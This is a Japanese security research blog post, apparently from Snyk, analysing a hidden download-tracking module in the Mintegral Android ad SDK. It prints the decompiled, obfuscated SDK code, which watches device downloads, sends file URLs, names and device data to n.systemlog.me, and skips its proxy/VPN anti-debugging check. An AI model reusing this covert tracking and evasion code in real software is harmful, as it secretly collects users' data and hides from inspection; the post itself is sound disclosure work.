p =  clever=kbs0hoR1R0RsRgD0G0R0Woz2YoR1kBzEJdxMhAuhW2MXH7KUhBPgYFKgY7V%2FDFKw%2BoKAhdzQDkxAL75QJdfhWF59h7KBJaKuHaTeid3enrQB%2Bbx%2Bx3TMVjcU%2BFQ5G5zwijtUZaSufjJFfruAxdtiHrKw5Ff%2BZZHQ4dSXhgx7YbzwD%2BNKh7xrR0M0LdxThdi1%2BoKhWFxXDBTMfo20DB2AL75QJdi%2FHFKXHFeQJ%2BfQhrfXYgxQYgN%2FDFKw%2BoKQ4dSXhgxhWFM2YavAG%2BiFYr32J%2B5whkzALUQXincsYkxU%2BoKuGatrLbf%2FYAcsYbfefAiAJ7wuHkwtf7JqL2MXinDMiUVPia3eiavMicMXinv9in32fAvPiaRPiajFiURPfavA%2BoIq%2BoIeid3enrQB%2Bbx%2Bx3TMVjcU%2BFQ5G5zwijtUZaSufjJFfruAxdtiHrKw5Ff%2BZnKuHaTeid3enrQB%2Bbx%2Bx3TMVjcU%2BFQ5G5zwijtUZaSufjJFfruAxdtiHrKw5Ff%2BZZHQ4dSXhgx7YbzwD%2BNKh7xrRQTsRrwbRUE0hF5Uhr5TWgS3H0RsRrHsRUE0inRTf0zK%2BN%3D%3D
app_id=118690
sign=9329a7706dd43d6ed64d022ad0e7b13b
platform=1
os_version=5.1.1
package_name=com.mintegral.sdk.demo
app_version_name=1.0
app_version_code=1
orientation=1
model=Android+SDK+built+for+x86
brand=Android
gaid=a717e74d-64fa-464e-a28a-cbb8dc67ef6b
mnc=260
mcc=310
network_type=13
language=en
timezone=GMT%2B02%3A00
useragent=Mozilla%2F5.0+%28Linux%3B+Android+5.1.1%3B+Android+SDK+built+for+x86+Build%2FLMY48X%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Version%2F4.0+Chrome%2F39.0.0.0+Mobile+Safari%2F537.36
sdk_version=MAL_10.5.0
gp_version=1.8
screen_size=1080x2160
has_wx=false
cache1=747
cache2=722
power_rate=100
charging=1
http_req=2
dvi=4BztYrxBYFQ3%2BFQ3RUE0fnVFDn5tDU3Mfkz0H7H3iBRsRrfuHoR1RUv0Woz3Y%2BN0G0Refnl9R0M0H72rRUEbfUvsRrfTRUE0kbl9fQT06N%3D%3D
unknown_source=1
sys_id=a54a2ddc-1a89-5ac3-aa69-d6b7906afa29
is_clever=2

さらに、cleverとdviという2つのエンコードされたパラメーターがあります。これらもデコードすると、興味深いことがわかりました。

{
    "fl": "1246",
    "kw": "secret.pdf",
    "p": "",
    "ul": [
        "https://docs.google.com/spreadsheets/export?id=10y1Nir_tWFM0PAc_iU9Rm0HcH0i4Gv6jsDxLfomWcWI&exportFormat=pdf",
        "https://doc-04-bc-sheets.googleusercontent.com/export/l5l039s6ni5uumqbsj9o11lmdc/i88fksno1losq733tkieka4gjk/1602590910000/108195709029016229403/*/10y1Nir_tWFM0PAc_iU9Rm0HcH0i4Gv6jsDxLfomWcWI?id=10y1Nir_tWFM0PAc_iU9Rm0HcH0i4Gv6jsDxLfomWcWI&exportFormat=pdf"
    ],
    "v": ""
}

{
    "android_id": "556a5ab905bbdfd3",
    "cid": "0",
    "ct": "[x86]",
    "dmf": 760,
    "dmt": "1588"
}

Google DriveアプリからダウンロードしたGoogleスプレッドシートのURLはulフィールドに、ダウンロードしたファイル名はkwフィールドに格納され、dviにはデバイスに関するデータが格納されています。

考えられる用途

iOSの場合、クライアントのデバイスからMintegralのサーバーへ不正な重複クリックが送信され、さらにアトリビューションプロバイダー(MMP)へ送られていました。今回のケースでは、ダウンロードまたはインストールされたAPKがサーバーに報告され、サーバー側のクリック生成に利用される可能性があります。次の図にデータの流れを示します。

影響を受けたAndroidアプリ内の悪意あるSDKが、ContentResolverとPlay Marketを使ってAPKをダウンロードし、偽のクリックデータを送信する様子を示す図。

Alphabモジュール

前述の挙動はAlphabモジュールに含まれています。Mintegralはこのモジュールを「最適化パッケージ」と説明していました。

SDK初期化セクションと、動画、スプラッシュ広告、インタラクティブ、最適化パッケージの表を示すAndroid SDKインテグレーションガイド

記事の公開後、このモジュールはMintegralのサイトから削除され、配布されるSDKにも含まれなくなったようです。SDKを逆コンパイルし、この挙動を引き起こすコードを特定しました。

AlphaCommonConstクラス

public final class AlphaCommonConst {

    /* renamed from: a */    public static String f0a = a.c("LdxThdi1WBK\\/WgfPhbxQYkeXHBPwHZKAJ7eXHM==");

    /* renamed from: b */    public static String f1b = a.c("LdxThdi1WBK\\/WgfPhbxQYkeXHBPwHZKsYFh=");

    /* renamed from: c */    public static String f2c = "decode error";

    /* renamed from: d */    public static boolean is_net_debug = false;

    /* renamed from: com.alphab.a$a */    /* compiled from: AlphaCommonConst */    public static class C0000a {

        /* renamed from: a */        public static String ACTION_NET_DEBUG = AlphabBase64Util.m1b("aEqMQ3ckisLAfcxK7En575xOayJIYsT=");

        /* renamed from: b */        public static String f5b = AlphabBase64Util.m1b("aELKr0xI7ULIYeJAYeN6aEbPQEx6FAVVNPBVJPHmNZJXJZN=");
    }

このクラスには、ハードコードされた定数定義が多数含まれています。一部の文字列は、iOS版で確認されたものと同様に、AlphabBase64Utilクラスにある独自のBase64ベースのエンコード方式で難読化されています。

デコードすると、次の文字列が得られます。

aEqMQ3ckisLAfcxK7En575xOayJIYsT=                   = alphab_net_debug_action
aELKr0xI7ULIYeJAYeN6aEbPQEx6FAVVNPBVJPHmNZJXJZN=   = android.intent.action.PACKAGE_ADDED
7sHPNsx6f3H6fcnArsxzf0H2                           = getContentResolver
aELKr0xI7UL67iN6HinI                               = android.net.Uri
aELKr0xI7ULKaiJOa0cg7jLoYsLP7ELP9sng7ins7iC=       = android.database.ContentObserver
aELKr0xI7ULGYsLP7ELPFKb4YeJAYeJj7ib4Yp7ArR==       = android.content.ContentResolver
r0HeQibP7inoYsLP7ELP9sng7ins7iC=                   = registerContentObserver
aELKr0xI7ULGYsLP7ELPFKn2YscKascgfcnAasHIf0H2       = android.content.BroadcastReceiver
aELKr0xI7ULGYsLP7ELPFKA6f3H6fX7IYpJArR==           = android.content.IntentFilter
aEJKNEbPQEx6                                       = addAction
r0HeQibP7inj7EbAQi7ArR==                           = registerReceiver

これらは、次に説明する初期化処理で使用されます。

Alphabレシーバー

AlphabReceiverクラスのinit()メソッドでは、BroadcastReceiverが、先ほどの難読化された文字列の一部を使って初期化されています。

try {
      AlphabReceiver alphabReceiver = new AlphabReceiver();
      Class cls = Class.forName(AlphaCommonConst.C0001b.f11f);
      Class cls2 = Class.forName(AlphaCommonConst.C0001b.f12g);
      Object newInstance = cls2.newInstance();
      Method method = IntentFilter.class.getMethod(AlphaCommonConst.C0001b.f13h, String.class);
      method.invoke(newInstance, AlphaCommonConst.C0000a.ACTION_NET_DEBUG);
      method.invoke(newInstance, AlphaCommonConst.C0000a.f5b);
      Context.class.getMethod(AlphaCommonConst.C0001b.f14i, cls, cls2).invoke(context, alphabReceiver, newInstance);
      } catch (Throwable th) {
            th.printStackTrace();
      }

これらをデコード済みの文字列に置き換えると、コードは次のようになります。

AlphabReceiver alphab_receiver = new AlphabReceiver();
Class alphab_receiver_cls = Class.forName("android.content.BroadcastReceiver");
Class intent_filter_cls = Class.forName("android.content.IntentFilter");
Object intent_inst = intent_filter_cls.newInstance();
Method method = IntentFilter.class.getMethod("addAction", String.class);
method.invoke(intent_inst, "alphab_net_debug_action");
method.invoke(intent_inst, "android.intent.action.PACKAGE_ADDED");
Context.class.getMethod("registerReceiver", alphab_receiver_cls, intent_filter_cls)
.invoke(context, alphab_receiver, intent_inst);

Java Reflection APIを使って新しいブロードキャストレシーバーを作成し、次の2種類のインテントを監視していることがわかります。

  • android.intent.action.PACKAGE_ADDED - デバイスへのパッケージのインストール時に発生する、システム全体に送信されるインテント。

  • alphab_net_debug_action - ネットワークデバッグを検出するように見えるカスタムインテント。

インテントを受信すると、AlphabReceiverクラスはParseAndLoad()メソッドを構築します。

public final class ParseAndLoad {

    /* renamed from: a */    private Intent f89a;

    public ParseAndLoad(Intent intent) {
        this.f89a = intent;
        if (AlphaCommonConst.C0000a.ACTION_NET_DEBUG.equals(intent.getAction())) {
            AlphaCommonConst.is_net_debug = true;
        }
    }
}

このフィールドは後で条件判定に使用されます。

public final void mo40a() {
   boolean z = true;
   try {
        AlphabImpl.m61c(AlphabImpl.this);
        com.mintegral.msdk.base.b.b.a(i.a(AlphabImpl.this.f64b)).c();
                if (com.mintegral.msdk.base.b.b.a(i.a(AlphabImpl.this.f64b)).a(this.f82c)) {
                    g.b(AlphabImpl.f62a, "did in database " + this.f82c);
                } else if (AlphabImpl.this.f64b != null) {
                    Context a = AlphabImpl.this.f64b;
                    if (!AlphaCommonConst.is_net_debug && (NetUtils.is_proxy_enabled(a) || NetUtils.is_vpn_enabled())) {
                        z = false;
                    }
                    if (z) {
                        g.b(AlphabImpl.f62a, "insert did" + this.f82c);
                        com.mintegral.msdk.base.b.b.a(i.a(AlphabImpl.this.f64b)).a(this.f82c, this.f81b);
                        AlphabImpl.m56a(AlphabImpl.this, this.f82c);
                    }
                }
            } catch (Exception e) {
                if (MIntegralConstans.DEBUG) {
                    e.printStackTrace();
                }
            }
        }

if節にある他の2つのメソッドを逆コンパイルすると、現在のネットワーク接続がWi-FiプロキシまたはVPNクライアントを経由しているかどうかを確認していることがわかります。これは、アプリのデバッグや通信の傍受を防ぐためのものです。このインテントにより、SDKの開発者はこのデバッグ対策を回避できます。

Alphabオブザーバー

同様に、このContentObserverの初期化ブロックも、リフレクションと難読化された文字列の中に隠されています。

C0014a aVar = new C0014a(this.f70i);
Object invoke = Context.class.getMethod(AlphaCommonConst.C0001b.f6a, new Class[0]).invoke(context, new Object[0]);
Class cls3 = Class.forName(AlphaCommonConst.C0001b.f7b);
                        Class cls4 = Class.forName(AlphaCommonConst.C0001b.f8c);                  Class.forName(AlphaCommonConst.C0001b.f9d).getMethod(AlphaCommonConst.C0001b.f10e, cls3, Boolean.TYPE, cls4).invoke(invoke, Uri.parse(AlphabBase64Util.m1b("asx6f3H6foh4FsJ4fsLzYscKrM==")), true, aVar);

整理すると、次のようになります。

AlpahbObserver observer = new AlpahbObserver(handler);
Object contentResolverObject = Context.class.getMethod(AlphaCommonConst.REFLECT.GETCONTENTRESOLVER).invoke(context);
Class uriClass = Class.forName(AlphaCommonConst.REFLECT.URI_CLASS);
Class contentObserver = Class.forName(AlphaCommonConst.REFLECT.CONTENTOBSERVER_CLASS);
Class contentResolver = Class.forName(AlphaCommonConst.REFLECT.CONTENTRESOLVER_CLASS).getMethod(AlphaCommonConst.REFLECT.REGISTERCONTENTOBSERVER, uriClass, boolean.class, contentObserver)
.invoke(contentResolverObject, Uri.parse(AlphabBase64Util.newBase64Decode(uriDownload)), true, observer);

つまり、このコンテンツオブザーバーはcontent://downloads URIを監視するよう登録され、デバイスにファイルがダウンロードされるたびに起動します。

Androidのダウンロードマネージャーに対して、公開ダウンロードを照会します。

cursor = aVar.f64b.getContentResolver().query(Uri.parse(AlphabBase64Util.m1b("asx6f3H6foh4FsJ4fsLzYscKr2xMfEnzQEbm73xyY0q4aEJgFM==") + str), null, null, null, null);

文字列をデコードすると、次のようになります。

cursor = aVar.f64b.getContentResolver()
.query(Uri.parse("content://downloads/public_downloads" + str), null, null, null, null);

ダウンロードURLが次のいずれかの条件を満たすと、https://n.systemlog.met/stlogへのレポートが生成されます。

  1. apkで終わる - 手動ダウンロードが対象。

  2. com.android.vendingに属するパッケージを参照する、またはURLにgoogle.comが含まれる - 条件に一致するGoogleアプリやブラウザーのURLがすべて対象。

以下は、https://n.systemlog.met/stlogサーバーにリクエストを送信するコードスニペットです。

else if (message.what == AlphabReqImpl.this.f23d && (eVar = new SCReq(AlphabReqImpl.this.f20a)) != null) {
                g.a("AlphabReqImpl", "setting  is request");
                eVar.b(0, AlphaCommonConst.f0a, AlphabReqImpl.this.f25f, AlphabReqImpl.this.f26g);
            }

つまり、次のとおりです。

else if (message.what == AlphabReqImpl.this.f23d && (req = new SCReq(AlphabReqImpl.this.f20a)) != null) {
                g.a("AlphabReqImpl", "setting  is request");
                req.send(0, "http://n.systemlog.me/stlog", AlphabReqImpl.this.f25f, AlphabReqImpl.this.f26g);

そしてここでは、例で取得したリクエストに含まれていたパラメーターを確認できます。

static /* synthetic */ void m26a(ReqPKGAndReportManager dVar, String str, String str2, List list, String str3, String str4) {
        try {
            if (TextUtils.isEmpty(str2)) {
                str2 = "";
            }
            if (TextUtils.isEmpty(str)) {
                str = "";
            }
            JSONArray jSONArray = new JSONArray();
            JSONObject jSONObject = new JSONObject();
            if (jSONObject != null) {
                try {
                    jSONObject.put("p", str);
                    jSONObject.put("v", str2);
                    JSONArray jSONArray2 = new JSONArray();
                    if (list != null && list.size() >= 0) {
                        for (int i = 0; i < list.size(); i++) {
                            jSONArray2.put(list.get(i));
                        }
                    }
                    jSONObject.put("ul", jSONArray2);
                    jSONObject.put("kw", str3);
                    jSONObject.put("fl", str4);
                } catch (Throwable th) {
                    if (MIntegralConstans.DEBUG) {
                        th.printStackTrace();
                    }
                }
            }
            jSONArray.put(jSONObject);
            String b = com.mintegral.msdk.base.utils.a.b(jSONArray.toString());
            dVar.f40i = new c();
            if (!(dVar.f40i == null || dVar.f20a == null)) {
                dVar.f40i.a("clever", b);
            }
            dVar.mo10a(dVar.f40i);
  • p - ダウンロード対象のパッケージ名、つまりアプリ

  • v - アプリのバージョン

  • ul - ダウンロードしたファイルのURL

  • kw - ダウンロードしたファイル名

  • fl - ファイルサイズ

デモアプリ

「My Application」と題されたAndroidアプリの画面。書き込み権限のリクエスト、デバッグの有効化、Google IのロゴとAPKのダウンロードを行うボタンが表示されている

この挙動を実証するため、次のことができるデモアプリを作成しました。

1. リフレクションを使ってネットワークデバッグフラグを有効にし、デバッグ対策を回避する

buttonIsNetDebug.setOnClickListener(new View.OnClickListener() {
   @Override
   public void onClick(View v) {
       try {
           Class AlphaCommonConst = Class.forName("com.alphab.a");
           AlphaCommonConst.getDeclaredField("d").set(null, true);
       } catch (Exception e) {
           e.printStackTrace();
       }
   }
});

2. google.comを含むURLからファイルをダウンロードする

buttonDownloadGoogleLogo.setOnClickListener(new View.OnClickListener() {
   @Override
   public void onClick(View v) {
       Uri uri = Uri.parse("https://images.google.com/images/branding/googlelogo/1x/googlelogo_color_272x92dp.png");
       DownloadManager.Request request = new DownloadManager.Request(uri);
       request.setDestinationInExternalPublicDir(Environment.DIRECTORY_DOWNLOADS, "googlelogo_color_272x92dp.png");
       request.setNotificationVisibility(DownloadManager.Request.VISIBILITY_VISIBLE_NOTIFY_ONLY_COMPLETION);
       DownloadManager manager = (DownloadManager) getSystemService(DOWNLOAD_SERVICE);
       manager.enqueue(request);
   }
});

3. apkで終わるURLからファイルをダウンロードする

buttonDownloadApk.setOnClickListener(new View.OnClickListener() {
   @Override
   public void onClick(View v) {
       Uri uri = Uri.parse("https://storage.evozi.com/apk/dl/16/09/04/com.shazam.android_1004300.apk?f=google.com");
       DownloadManager.Request request = new DownloadManager.Request(uri);
       request.setDestinationInExternalPublicDir(Environment.DIRECTORY_DOWNLOADS, "com.shazam.android_1004300.apk");
       request.setNotificationVisibility(DownloadManager.Request.VISIBILITY_VISIBLE_NOTIFY_ONLY_COMPLETION);
       DownloadManager manager = (DownloadManager) getSystemService(DOWNLOAD_SERVICE);
       manager.enqueue(request);
   }
});

HTTPプロキシで送信リクエストをキャプチャしました。ダウンロードボタンのいずれかをクリックすると、サーバーのエンドポイントへのリクエストが確認できます。

Burp Suite Community Editionで、HTTPヘッダーとエンコードされたフォームデータを含む、n.systemlog.meへのPOSTリクエストをインターセプトした画面。

追跡の挙動を示す動画をご覧ください。

Malicious Mintegral SDK Leaks Data on Android

タイムライン

日付

調査イベント

8月5日

Snykの調査チームが、MintegralのiOS SDKによる過剰なデータ収集とクリックの乗っ取りを特定

8月17日

Snykが調査結果をAppleに責任ある形で開示

8月24日

SnykがSour Mintに関するiOSの調査結果を公開

8月25日

MintegralがSDKに関する指摘を否定する声明を発表

9月3日

IronSourceが、メディエーションプラットフォームからMintegralを削除すると発表

9月3日

MintegralがiOS SDKのバージョン6.5.0.0をリリースし、悪意のある隠しコンポーネント_CXX_CXX_OperationPKTaskを削除

9月4日

MoPub(Twitter)のメディエーションプラットフォームが、Mintegralの認定を取り消すと発表

9月4日

MintegralがSDKをオープンソース化する計画を発表

9月4日

Snykの調査チームが、SDKのAndroid版に隠されたダウンロード追跡機能を特定

9月9日

SnykがAndroid SDKの調査結果をGoogleに責任ある形で開示

9月10日

MintegralがiOS SDKのバージョン6.6.0.0をリリースし、バックドアコンポーネントMTGRemoteCommandParserを削除

9月22日

SnykがiOS SDKのソースコード版6.6.0.0を入手し、差分解析を実施

9月23日

Snykが、MintegralがAndroid SDKからGoogleのダウンロード追跡モジュールを削除したことを確認

9月30日

差分解析により、SnykがRCEを可能にするiOS SDKのバックドアを特定

10月2日

Snykが新たなiOSの調査結果をAppleに責任ある形で開示

10月3日

Appleが影響を受けたパブリッシャーに通知し、RCEを可能にするコードの削除を要請

10月15日

SnykがiOSとAndroidの最新の調査結果を公開

続きを読む

Blog

フロンティアモデルは脆弱性を発見した。攻撃者だけがエクスプロイトチェーンを見つけた。

静的解析で欠陥は見つかりましたが、ライブ攻撃テストで侵害につながる連鎖を実証できたのは唯一でした。Evo COS、Claude Security、Claude Code Securityを比較します。

feature insights context
Blog

自律型攻撃はすでに始まっている。防御もそのスピードに追いつかなければならない。

自律型攻撃者によって、防御に使える時間は短くなっています。継続的な検出、修復、検証、予防で、セキュリティチームが攻撃に歩調を合わせる方法をご紹介します。

Blog

AIコーディングエージェントが不適切なアクセス制御を繰り返し実装する理由

AIコーディングエージェントは、コンパイルが通りレビューも通過する一方で、あるテナントのデータを別のテナントに公開してしまう認可ロジックを生成することがあります。不適切なアクセス制御が検出しにくい理由と、その防止策をご紹介します。